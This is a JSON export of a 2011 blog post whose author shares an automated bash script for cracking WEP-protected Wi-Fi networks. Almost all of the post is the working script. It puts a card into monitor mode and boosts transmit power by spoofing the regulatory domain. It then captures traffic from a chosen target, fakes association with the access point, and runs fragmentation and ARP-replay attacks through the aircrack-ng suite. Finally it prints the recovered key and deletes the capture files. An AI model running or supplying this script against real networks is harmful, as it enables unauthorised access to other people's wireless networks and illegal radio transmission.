{"id":48,"date":"2011-05-20T11:57:29","date_gmt":"2011-05-20T10:57:29","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=48"},"modified":"2011-07-14T11:25:00","modified_gmt":"2011-07-14T10:25:00","slug":"automated-wep-cracking-script","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/05\/20\/automated-wep-cracking-script\/","title":{"rendered":"Automated WEP cracking script"},"content":{"rendered":"

I have wrote an automated WEP cracking script (matts-wepcrack.sh). Let me know if you have any improvements.<\/p>\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
<\/div><\/td>
#!\/bin\/bash<\/span>
\n# wepcrack.sh v1.3<\/span>
\n# Create by Matthew Phillips<\/span>
\n# New versions can be downloaded from www.phillips321.co.uk<\/span>
\nVERSION<\/span>="1.3"<\/span>
\n#<\/span>
\n# This tool requires aircrack-ng tools to be installed and run as root<\/span>
\n#<\/span>
\n# ChangeLog....<\/span>
\n# Version 1.3 - Randomises interface MAC address<\/span>
\n# Version 1.2 - Set txpower of card to 1000mw :-)<\/span>
\n# Version 1.1 - Display key and BSSID at end of crack<\/span>
\n# Version 1.0 - First Release<\/span>
\n
\n#################################################################<\/span>
\n# CHECKING FOR ROOT<\/span>
\n#################################################################<\/span>
\nif<\/span> [<\/span> `<\/span>echo<\/span> -n<\/span> $USER<\/span>`<\/span> !<\/span>= "root"<\/span> ]<\/span>
\nthen<\/span>
\n    echo<\/span> "MESSAGE:"<\/span>
\n    echo<\/span> "MESSAGE: ERROR: Please run as root!"<\/span>
\n    echo<\/span> "MESSAGE:"<\/span>
\n    exit<\/span> 1<\/span>
\nfi<\/span>
\n
\n#################################################################<\/span>
\n# CHECKING TO SEE IF INTERFACE IS PROVIDED<\/span>
\n#################################################################<\/span>
\nif<\/span> [<\/span> -z<\/span> ${1}<\/span> ]<\/span>
\nthen<\/span>
\n    echo<\/span> "MESSAGE: Version number ${VERSION}<\/span>"<\/span>
\n    echo<\/span> "MESSAGE: Usage: `basename ${0}`<\/span> [interface] [BSSID] [channel]"<\/span>
\n    echo<\/span> "MESSAGE: Example #`basename ${0}`<\/span> wlan0 (everything else is optional)"<\/span>
\n    exit<\/span> 1<\/span>
\nelse<\/span>
\n    INTERFACE<\/span>="`echo "${1}" | cut -c 1-6`<\/span>"<\/span>
\nfi<\/span>
\n
\n#################################################################<\/span>
\n# PUT WIFI IN HIGHPOWER AND MONITOR MODE AND CHANGE MAC<\/span>
\n#################################################################<\/span>
\n#macchanger -r ${INTERFACE}<\/span>
\niw reg set<\/span> BO
\niwconfig ${INTERFACE}<\/span> txpower 30<\/span>
\nPOWER<\/span>=`<\/span>iwlist ${INTERFACE}<\/span> txpower |<\/span> grep<\/span> Current |<\/span> tr<\/span> -s<\/span> ' '<\/span> |<\/span> cut<\/span> -d<\/span> '('<\/span> -f2<\/span> |<\/span> sed<\/span> -e<\/span> s\/<\/span>')'<\/span>\/\/`<\/span>
\necho<\/span> "MESSAGE: ${INTERFACE}<\/span> power set to ${POWER}<\/span>"<\/span>
\necho<\/span> "MESSAGE: Putting ${INTERFACE}<\/span> in monitor mode"<\/span>
\nairmon-ng start ${INTERFACE}<\/span>
\n
\n#################################################################<\/span>
\n# GET INTERFACE MAC ADDRESS<\/span>
\n#################################################################<\/span>
\nMACADDRESS<\/span>=`<\/span>ifconfig<\/span> ${INTERFACE}<\/span> |<\/span> grep<\/span> ${INTERFACE}<\/span> |<\/span> tr<\/span> -s<\/span> ' '<\/span> |<\/span> cut<\/span> -d<\/span> ' '<\/span> -f5<\/span> |<\/span> cut<\/span> -c<\/span> 1<\/span>-17<\/span>`<\/span>
\n
\n#################################################################<\/span>
\n# CHECK IF BSSID,CHANNEL & TARGETNAME WERE PROVIDED<\/span>
\n#################################################################<\/span>
\nif<\/span> [<\/span> -z<\/span> ${2}<\/span> ]<\/span> ||<\/span> [<\/span> -z<\/span> ${3}<\/span> ]<\/span> ; then<\/span>
\n    #################################################################<\/span>
\n    # SHOW VISIBLE WEP NETWORKS<\/span>
\n    #################################################################<\/span>
\n    echo<\/span> "MESSAGE: Will now display all visible WEP networks"<\/span>
\n    echo<\/span> "MESSAGE: Once you have identified the network you wish to target press Ctrl-C to exit"<\/span>
\n    read<\/span> -p<\/span> "MESSAGE: Press enter to view networks"<\/span>
\n    airodump-ng --encrypt<\/span> WEP ${INTERFACE}<\/span> # mon0<\/span>
\n
\n    #################################################################<\/span>
\n    # USER INPUT DETAILS FROM AIRODUMP<\/span>
\n    #################################################################<\/span>
\n    while<\/span> true<\/span>
\n    do<\/span>
\n        echo<\/span> -n<\/span> "MESSAGE: Please enter the target BSSID here: "<\/span>
\n        read<\/span> -e<\/span> BSSID
\n        echo<\/span> -n<\/span> "MESSAGE: Please enter the target channel here: "<\/span>
\n        read<\/span> -e<\/span> CHANNEL
\n        echo<\/span> "MESSAGE: Target BSSID            : ${BSSID}<\/span>"<\/span>
\n        echo<\/span> "MESSAGE: Target Channel          : ${CHANNEL}<\/span>"<\/span>
\n        echo<\/span> "MESSAGE: Interface MAC Address   : ${MACADDRESS}<\/span>"<\/span>
\n        echo<\/span> -n<\/span> "MESSAGE: Is this information correct? (y or n): "<\/span>
\n        read<\/span> -e<\/span> CONFIRM
\n        case<\/span> $CONFIRM<\/span> in<\/span>
\n                y|<\/span>Y|<\/span>YES|<\/span>yes<\/span>|<\/span>Yes)<\/span>
\n                break<\/span> ;;<\/span>
\n                *<\/span>)<\/span> echo<\/span> "MESSAGE: Please re-enter information"<\/span>
\n        esac<\/span>
\n    done<\/span>
\nfi<\/span>
\n
\n#################################################################<\/span>
\n# START AIRODUMP IN XTERM WINDOW<\/span>
\n#################################################################<\/span>
\necho<\/span> "MESSAGE: Starting packet capture - Ctrl-c to end it"<\/span>
\nxterm -e<\/span> "airodump-ng -c ${CHANNEL}<\/span> --bssid ${BSSID}<\/span> --ivs -w capture ${INTERFACE}<\/span>"<\/span> &<\/span> AIRODUMPPID<\/span>=$!<\/span>
\nsleep<\/span> 2<\/span>
\n
\n#################################################################<\/span>
\n# ASSOCIATE WITH AP & THEN PERFORM FRAGMENTATION ATTACK<\/span>
\n#################################################################<\/span>
\naireplay-ng -1<\/span> 0<\/span> -a<\/span> ${BSSID}<\/span> -h<\/span> ${MACADDRESS}<\/span> ${INTERFACE}<\/span>
\naireplay-ng -5<\/span> -b<\/span> ${BSSID}<\/span> -h<\/span> ${MACADDRESS}<\/span> ${INTERFACE}<\/span>
\npacketforge-ng -0<\/span> -a<\/span> ${BSSID}<\/span> -h<\/span> ${MACADDRESS}<\/span> -k<\/span> 255.255.255.255 -l<\/span> 255.255.255.255 -y<\/span> *<\/span>.xor -w<\/span> arp-packet ${INTERFACE}<\/span>
\nxterm -e<\/span> "aireplay-ng -2 -r arp-packet ${INTERFACE}<\/span>"<\/span> &<\/span> AIREPLAYPID<\/span>=$!<\/span>
\n
\n#################################################################<\/span>
\n# ATTEMPTING TO CRACK<\/span>
\n#################################################################<\/span>
\n#while true<\/span>
\n#do<\/span>
\n    aircrack-ng -n<\/span> 128<\/span> -b<\/span> ${BSSID}<\/span> *<\/span>.ivs -l<\/span> key.txt
\n#   echo -n "MESSAGE: Did you get the key?: (y or no)"<\/span>
\n#   read -e CONFIRM<\/span>
\n#   case $CONFIRM in<\/span>
\n#           y|Y|YES|yes|Yes)<\/span>
\n#           break ;;<\/span>
\n#           *) echo "MESSAGE: Will attempt to crack again..." && sleep 3<\/span>
\n#   esac<\/span>
\n#done<\/span>
\n
\n#################################################################<\/span>
\n# OUTPUT BSSID AND KEY<\/span>
\n#################################################################<\/span>
\nKEY<\/span>=`<\/span>cat<\/span> key.txt`<\/span>
\necho<\/span> "MESSAGE: Target BSSID            : ${BSSID}<\/span>"<\/span>
\necho<\/span> "MESSAGE: Target Key              : ${KEY}<\/span>"<\/span>
\n
\n
\n#################################################################<\/span>
\n# DELETE FILES CREATED DURING WEP CRACKING<\/span>
\n#################################################################<\/span>
\nkill<\/span> ${AIRODUMPPID}<\/span>
\nkill<\/span> ${AIREPLAYPID}<\/span>
\nairmon-ng stop mon0
\nrm<\/span> *<\/span>.ivs *<\/span>.cap *<\/span>.xor key.txt
\nexit<\/span> 0<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"

I have wrote an automated WEP cracking script (matts-wepcrack.sh). Let me know if you have any improvements. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134#!\/bin\/bash # wepcrack.sh v1.3 # Create by Matthew Phillips # New versions can be downloaded from www.phillips321.co.uk VERSION="1.3" # # This tool requires aircrack-ng tools to be installed and run as root # # ChangeLog…. # Version 1.3 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[28,84,29,5,24,25,26],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/48"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=48"}],"version-history":[{"count":6,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/48\/revisions"}],"predecessor-version":[{"id":196,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/48\/revisions\/196"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=48"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=48"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=48"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}